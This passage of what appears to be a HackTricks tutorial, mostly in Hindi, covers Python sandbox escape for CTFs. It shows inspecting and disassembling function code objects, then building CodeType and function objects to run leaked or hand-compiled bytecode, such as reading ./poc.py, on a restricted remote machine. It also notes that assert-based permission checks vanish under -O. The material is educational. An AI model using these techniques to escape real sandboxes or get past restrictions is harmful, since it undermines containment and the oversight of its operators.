c=compile(s, "", "exec")
|
|
|
|
# __doc__: Get the description of the function, if any
|
|
print.__doc__
|
|
|
|
# co_consts: Constants
|
|
get_flag.__code__.co_consts
|
|
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')
|
|
|
|
c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.
|
|
(5, 'text', <code object f at 0x7f9ca0133540, file "", line 4>, 'f', None
|
|
|
|
# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
|
|
get_flag.__code__.co_names
|
|
()
|
|
|
|
c.co_names
|
|
('a', 'b', 'f')
|
|
|
|
|
|
#co_varnames: Local names used by the bytecode (arguments first, then the local variables)
|
|
get_flag.__code__.co_varnames
|
|
('some_input', 'var1', 'var2', 'var3')
|
|
|
|
#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.
|
|
get_flag.__code__.co_cellvars
|
|
()
|
|
|
|
#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.
|
|
get_flag.__code__.co_freevars
|
|
()
|
|
|
|
#Get bytecode
|
|
get_flag.__code__.co_code
|
|
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
|
|
```
|
|
### **एक फ़ंक्शन का डिसअस्सेम्बली**
|
|
```python
|
|
import dis
|
|
dis.dis(get_flag)
|
|
2 0 LOAD_CONST 1 (1)
|
|
3 STORE_FAST 1 (var1)
|
|
|
|
3 6 LOAD_CONST 2 ('secretcode')
|
|
9 STORE_FAST 2 (var2)
|
|
|
|
4 12 LOAD_CONST 3 ('some')
|
|
15 LOAD_CONST 4 ('array')
|
|
18 BUILD_LIST 2
|
|
21 STORE_FAST 3 (var3)
|
|
|
|
5 24 LOAD_FAST 0 (some_input)
|
|
27 LOAD_FAST 2 (var2)
|
|
30 COMPARE_OP 2 (==)
|
|
33 POP_JUMP_IF_FALSE 40
|
|
|
|
6 36 LOAD_CONST 5 ('THIS-IS-THE-FLAG!')
|
|
39 RETURN_VALUE
|
|
|
|
8 >> 40 LOAD_CONST 6 ('Nope')
|
|
43 RETURN_VALUE
|
|
44 LOAD_CONST 0 (None)
|
|
47 RETURN_VALUE
|
|
```
|
|
ध्यान दें कि **यदि आप python sandbox में `dis` आयात नहीं कर सकते** तो आप फ़ंक्शन का **bytecode** प्राप्त कर सकते हैं (`get_flag.func_code.co_code`) और इसे स्थानीय रूप से **disassemble** कर सकते हैं। आप लोड हो रहे वेरिएबल्स की सामग्री नहीं देखेंगे (`LOAD_CONST`) लेकिन आप उन्हें (`get_flag.func_code.co_consts`) से अनुमान लगा सकते हैं क्योंकि `LOAD_CONST` भी लोड हो रहे वेरिएबल का ऑफसेट बताता है।
|
|
```python
|
|
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
|
0 LOAD_CONST 1 (1)
|
|
3 STORE_FAST 1 (1)
|
|
6 LOAD_CONST 2 (2)
|
|
9 STORE_FAST 2 (2)
|
|
12 LOAD_CONST 3 (3)
|
|
15 LOAD_CONST 4 (4)
|
|
18 BUILD_LIST 2
|
|
21 STORE_FAST 3 (3)
|
|
24 LOAD_FAST 0 (0)
|
|
27 LOAD_FAST 2 (2)
|
|
30 COMPARE_OP 2 (==)
|
|
33 POP_JUMP_IF_FALSE 40
|
|
36 LOAD_CONST 5 (5)
|
|
39 RETURN_VALUE
|
|
>> 40 LOAD_CONST 6 (6)
|
|
43 RETURN_VALUE
|
|
44 LOAD_CONST 0 (0)
|
|
47 RETURN_VALUE
|
|
```
|
|
## Python संकलन
|
|
|
|
अब, चलिए कल्पना करते हैं कि किसी तरह आप **एक फ़ंक्शन के बारे में जानकारी निकाल सकते हैं जिसे आप निष्पादित नहीं कर सकते** लेकिन आपको इसे **निष्पादित** करने की **आवश्यकता** है।\
|
|
जैसे कि निम्नलिखित उदाहरण में, आप **उस फ़ंक्शन का कोड ऑब्जेक्ट** एक्सेस कर सकते हैं, लेकिन केवल डिस्सेम्बल पढ़ने से आप **फ्लैग की गणना कैसे करें** यह **नहीं जानते** (_एक अधिक जटिल `calc_flag` फ़ंक्शन की कल्पना करें_)
|
|
```python
|
|
def get_flag(some_input):
|
|
var1=1
|
|
var2="secretcode"
|
|
var3=["some","array"]
|
|
def calc_flag(flag_rot2):
|
|
return ''.join(chr(ord(c)-2) for c in flag_rot2)
|
|
if some_input == var2:
|
|
return calc_flag("VjkuKuVjgHnci")
|
|
else:
|
|
return "Nope"
|
|
```
|
|
### कोड ऑब्जेक्ट बनाना
|
|
|
|
सबसे पहले, हमें यह जानने की आवश्यकता है **कोड ऑब्जेक्ट कैसे बनाएं और निष्पादित करें** ताकि हम एक बना सकें जो हमारे फ़ंक्शन को निष्पादित करे:
|
|
```python
|
|
code_type = type((lambda: None).__code__)
|
|
# Check the following hint if you get an error in calling this
|
|
code_obj = code_type(co_argcount, co_kwonlyargcount,
|
|
co_nlocals, co_stacksize, co_flags,
|
|
co_code, co_consts, co_names,
|
|
co_varnames, co_filename, co_name,
|
|
co_firstlineno, co_lnotab, freevars=None,
|
|
cellvars=None)
|
|
|
|
# Execution
|
|
eval(code_obj) #Execute as a whole script
|
|
|
|
# If you have the code of a function, execute it
|
|
mydict = {}
|
|
mydict['__builtins__'] = __builtins__
|
|
function_type(code_obj, mydict, None, None, None)("secretcode")
|
|
```
|
|
> [!NOTE]
|
|
> python के संस्करण के आधार पर `code_type` के **parameters** का **विभिन्न क्रम** हो सकता है। जिस python संस्करण को आप चला रहे हैं, उसमें params के क्रम को जानने का सबसे अच्छा तरीका है:
|
|
>
|
|
> ```
|
|
> import types
|
|
> types.CodeType.__doc__
|
|
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
|
|
> ```
|
|
|
|
### एक लीक हुई फ़ंक्शन को फिर से बनाना
|
|
|
|
> [!WARNING]
|
|
> निम्नलिखित उदाहरण में, हम सीधे फ़ंक्शन कोड ऑब्जेक्ट से फ़ंक्शन को फिर से बनाने के लिए आवश्यक सभी डेटा लेंगे। एक **वास्तविक उदाहरण** में, फ़ंक्शन **`code_type`** को निष्पादित करने के लिए सभी **मान** वह हैं जो **आपको लीक करने की आवश्यकता होगी**।
|
|
```python
|
|
fc = get_flag.__code__
|
|
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
|
code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)
|
|
|
|
mydict = {}
|
|
mydict['__builtins__'] = __builtins__
|
|
function_type(code_obj, mydict, None, None, None)("secretcode")
|
|
#ThisIsTheFlag
|
|
```
|
|
### Bypass Defenses
|
|
|
|
In previous examples at the beginning of this post, you can see **कैसे किसी भी python कोड को `compile` फ़ंक्शन का उपयोग करके निष्पादित करें**. यह दिलचस्प है क्योंकि आप **पूरे स्क्रिप्ट्स** को लूप और सब कुछ के साथ **एक लाइन में** निष्पादित कर सकते हैं (और हम **`exec`** का उपयोग करके भी यही कर सकते हैं).\
|
|
खैर, कभी-कभी यह **स्थानीय मशीन** में एक **संकलित ऑब्जेक्ट** **बनाने** और इसे **CTF मशीन** में निष्पादित करने के लिए उपयोगी हो सकता है (उदाहरण के लिए क्योंकि हमारे पास CTF में `compiled` फ़ंक्शन नहीं है).
|
|
|
|
For example, let's compile and execute manually a function that reads _./poc.py_:
|
|
```python
|
|
#Locally
|
|
def read():
|
|
return open("./poc.py",'r').read()
|
|
|
|
read.__code__.co_code
|
|
't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
|
|
```
|
|
|
|
```python
|
|
#On Remote
|
|
function_type = type(lambda: None)
|
|
code_type = type((lambda: None).__code__) #Get <type 'type'>
|
|
consts = (None, "./poc.py", 'r')
|
|
bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
|
|
names = ('open','read')
|
|
|
|
# And execute it using eval/exec
|
|
eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))
|
|
|
|
#You could also execute it directly
|
|
mydict = {}
|
|
mydict['__builtins__'] = __builtins__
|
|
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
|
function_type(codeobj, mydict, None, None, None)()
|
|
```
|
|
यदि आप `eval` या `exec` तक पहुँच नहीं सकते हैं, तो आप एक **सही फ़ंक्शन** बना सकते हैं, लेकिन इसे सीधे कॉल करना आमतौर पर _constructor restricted mode में उपलब्ध नहीं है_ के साथ विफल हो जाएगा। इसलिए आपको इस फ़ंक्शन को कॉल करने के लिए **एक फ़ंक्शन चाहिए जो प्रतिबंधित वातावरण में न हो।**
|
|
```python
|
|
#Compile a regular print
|
|
ftype = type(lambda: None)
|
|
ctype = type((lambda: None).func_code)
|
|
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
|
f(42)
|
|
```
|
|
## Decompiling Compiled Python
|
|
|
|
Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) one can **decompile** given compiled python code.
|
|
|
|
**Check out this tutorial**:
|
|
|
|
{{#ref}}
|
|
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
|
|
{{#endref}}
|
|
|
|
## Misc Python
|
|
|
|
### Assert
|
|
|
|
Python executed with optimizations with the param `-O` will remove asset statements and any code conditional on the value of **debug**.\
|
|
इसलिए, जाँचें जैसे
|
|
```python
|
|
def check_permission(super_user):
|
|
try:
|
|
assert(super_user)
|
|
print("\nYou are a super user\n")
|
|
except AssertionError:
|
|
print(f"\nNot a Super User!!!\n")
|
|
```
|
|
will be bypassed
|
|
|
|
## References
|
|
|
|
- [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
|
|
- [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/)
|
|
- [https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/](https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/)
|
|
- [https://gynvael.coldwind.pl/n/python_sandbox_escape](https://gynvael.coldwind.pl/n/python_sandbox_escape)
|
|
- [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
|
|
- [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|